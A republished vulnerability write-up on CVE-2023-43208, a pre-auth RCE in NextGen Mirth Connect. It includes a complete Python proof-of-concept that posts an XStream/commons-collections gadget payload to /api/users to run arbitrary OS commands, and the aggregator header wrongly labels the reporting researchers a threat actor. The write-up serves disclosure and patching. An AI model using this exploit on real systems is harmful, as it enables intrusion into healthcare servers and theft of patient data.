Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE – Horizon3.ai

Summary: This content discusses the technical details of a pre-authenticated remote code execution vulnerability (CVE-2023-43208) affecting NextGen Mirth Connect, an open-source data integration platform widely used by healthcare companies.

Threat Actor: IHTeam | IHTeam
Victim: Healthcare organizations | healthcare organizations

Key Point :

  • The vulnerability (CVE-2023-43208) is related to insecure usage of the Java XStream library for unmarshalling XML payloads in Mirth Connect.
  • A patch for a prior vulnerability (CVE-2023-37679) was incomplete, leading to the emergence of CVE-2023-43208.
  • Healthcare organizations are strongly encouraged to upgrade to the 4.4.1 patch release or later to mitigate this easily exploitable vulnerability.

Introduction

In Oct. 2023, we released an advisory for CVE-2023-43208, a pre-authenticated remote code execution vulnerability affecting NextGen Mirth Connect. Mirth Connect is an open source data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java XStream library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations.

Reversing a Prior Vulnerability: CVE-2023-37679

CVE-2023-43208 arises from an incomplete patch for CVE-2023-37679, also a pre-auth RCE, reported by IHTeam. CVE-2023-37679 was reportedly patched in Mirth Connect 4.4.0, which was released on Aug 2, 2023. In the release notes for 4.4.0, we found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8.

Looking through the commit history, it was apparent that the patch for CVE-2023-37679 involved setting up an XStream denylist in an XStreamSerializer class to prevent the marshalling of certain unsafe data types that could be used for remote code execution.

XStream has a long history of CVEs associated with it, and the denylist approach is notoriously difficult to secure. We were convinced the vulnerability was not patched and decided to probe deeper.

Tracing the code, the XStreamSerializer is invoked through the XmlMessageBodyReader class, a type of interceptor that converts XML payloads into objects prior to the passing of those objects into Java servlet methods for HTTP request processing.

Mirth servlets in general extend the MirthServlet base class, which handles checking authentication in the initLogin method. This authentication check happens prior to the unmarshalling of any XML payloads by XmlMessageBodyReader.

However, for a few servlets, authentication is not checked in the MirthServlet base class and is instead handled in the servlet itself. In particular, the ConfigurationServlet, SystemServlet, and UserServlet all extend the MirthServlet base class but set the initLogin property to false. This opens up the possibility for a few API calls where XML payloads are unmarshalled by the XMLMessageBodyReader class prior to the authentication check in the servlet.

To reproduce CVE-2023-37679, we started up an old version of Mirth Connect, 4.1.1, from Docker Hub and sent a well-known XStream RCE payload to the POST /users endpoint using the Swagger UI. This payload was disclosed by @pwntester back in 2013 and also used relatively recently by @SinSinology and @steventseeley recently to exploit VMware NSX Manager.

And it worked, against a version of Mirth running Java 11.0.16.

We then repeated this against other versions of Mirth Connect. Curiously we found the same exploit payload failed against older Mirth versions, also running with Java 11, and we also found the payload didn’t work against Mirth 4.3, which was running Java 17.

Creating a General Exploit for CVE-2023-37679

Debugging the failure of the exploit payload against different Mirth versions, we found two problems:

Older versions of Mirth use older versions of the XStream library, and some of these versions refuse to unmarshall the java.beans.EventHandler class. For instance, testing against XStream 1.4.7 and Java 11, we get the following error:

And the payload fails with Java 17+ because private fields in the java.beans.EventHandler class are not accessible. Java 9 introduced the concept of “modules” to better encapsulate Java libraries, and starting with Java 17, the JRE explicitly forbids access to private members of modularized libraries unless the developer explicitly allows access by setting the --add-opens flag. This can break XStream unmarshalling because XStream relies heavily on reflection to work.

To bypass both limitations, we decided to look for an alternative InvocationHandler class similar to java.beans.EventHandler but in a non-modularized third-party library. Any libraries that aren’t modularized fall into a catch-all UNNAMED module, and code within the UNNAMED module is free to use reflection to access the private members of other code within the UNNAMED module.

We found such a class within the apache.commons.lang3 library: org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler:

We modified the payload accordingly, and it worked, as shown below against Mirth Connect 4.3 running Java 17.

Bypassing the Patch for CVE-2023-37679

We now had a generic exploit for CVE-2023-37679 that worked reliably against versions of Mirth Connect <= 4.3.0, regardless of the Java version. The only remaining task was to bypass the patch for CVE-2023-37679 in Mirth Connect 4.4. The patch, as shown above, adds a denylist to prevent certain dangerous classes from being unmarshalled. We needed to find an alternative to the ProcessBuilder class to execute a system command.

The denylist in the patch was based on the denylist in the XStream security documentation for older XStream versions. XStream cautions however that it does not account for classes in third party libraries:

"All those scenarios were based on types that are delivered with the Java runtime at some version. Looking at other well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, you will have to assume other scenarios for exploits as well. A class like InvokerTransformer of Apache Commons Collections has a high potential for attacks. By default XStream 1.4.18 works now with a whitelist. If you modify the default setup, it is also your responsibility to protect your clients from such vulnerabilities."

As it turns out, InvokerTransformer is the route we went as an alternative for the ProcessBuilder class. We came up with a new payload shown below:

And this worked against Mirth Connect 4.4 running Java 17:

POC Script

Putting it altogether, here’s a proof-of-concept for exploiting this vulnerability:

import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD = """<sorted-set>
  <string>abcd</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <org.apache.commons.collections4.functors.ConstantTransformer>
            <iConstant class="java-class">java.lang.Runtime</iConstant>
          </org.apache.commons.collections4.functors.ConstantTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>getMethod</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
              <java-class>[Ljava.lang.Class;</java-class>
            </iParamTypes>
            <iArgs>
              <string>getRuntime</string>
              <java-class-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>invoke</iMethodName>
            <iParamTypes>
              <java-class>java.lang.Object</java-class>
              <java-class>[Ljava.lang.Object;</java-class>
            </iParamTypes>
            <iArgs>
              <null/>
              <object-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>exec</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
            </iParamTypes>
            <iArgs>
              <string><<COMMAND>></string>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
        </iTransformers>
      </target>
      <methodName>transform</methodName>
      <eventTypes>
        <string>compareTo</string>
      </eventTypes>
    </handler>
  </dynamic-proxy>
</sorted-set>
"""

def _escape_xml(str_xml):
    str_xml = str_xml.replace('&', '&amp;')
    str_xml = str_xml.replace('<', '&lt;')
    str_xml = str_xml.replace('>', '&gt;')
    str_xml = str_xml.replace('"', '&quot;')
    str_xml = str_xml.replace("'", '&apos;')
    return str_xml

def main():
    parser = ArgumentParser()
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='OS command to run')
    args = parser.parse_args()
    command = _escape_xml(args.command)
    url = args.url.rstrip('/')
    payload = PAYLOAD.replace('<<COMMAND>>', command)
    print(f'Sending payload:n{payload}')
    r = requests.post(f'{url}/api/users',
                  headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
                  data=payload,
                  verify=False,
                  timeout=15)
    print(f'Payload sent. Received status code: {r.status_code}')


if __name__ == '__main__':
    main()

Patch for CVE-2023-43208

Mirth Connect 4.4.1 patches CVE-2023-43208 by getting rid of the XStream denylist altogether and moving to an explicit allowlist of safe classes.

Detection

To check if your Mirth Connect instance is vulnerable:

% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0

Any server reporting a version less than 4.4.1 is highly likely to be exploitable.

If you’re writing detection rules for this exploit, the following points may be of interest to you:

  • There are many other endpoints outside of POST /users that accept and unmarshal XML payloads.
  • There are other exploit payloads that will work. For instance, afterwards, we found afterwards that the off-the-shelf CommonsCollection6 gadget posted by @chudyPB here also works with some minor edits. Depending on the XStream version installed with Mirth Connect, other payloads are possible.

Impact

CVE-2023-43208/CVE-2023-37679 is an easily exploitable, unauthenticated remote code execution vulnerability, and we urge all users of Mirth Connect to patch to at least version 4.4.1. At the time of our advisory in October, there were ~1300 Internet-facing installs of Mirth Connect. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data. On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user.

Here’s a real-world attack path showing NodeZero exploiting this vulnerability on a Windows system, installing a remote access tool (RAT) through this exploit, and then dumping credentials to get access as a privileged Windows domain user:

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

Source: https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce


“An interesting youtube video that may be related to the article above”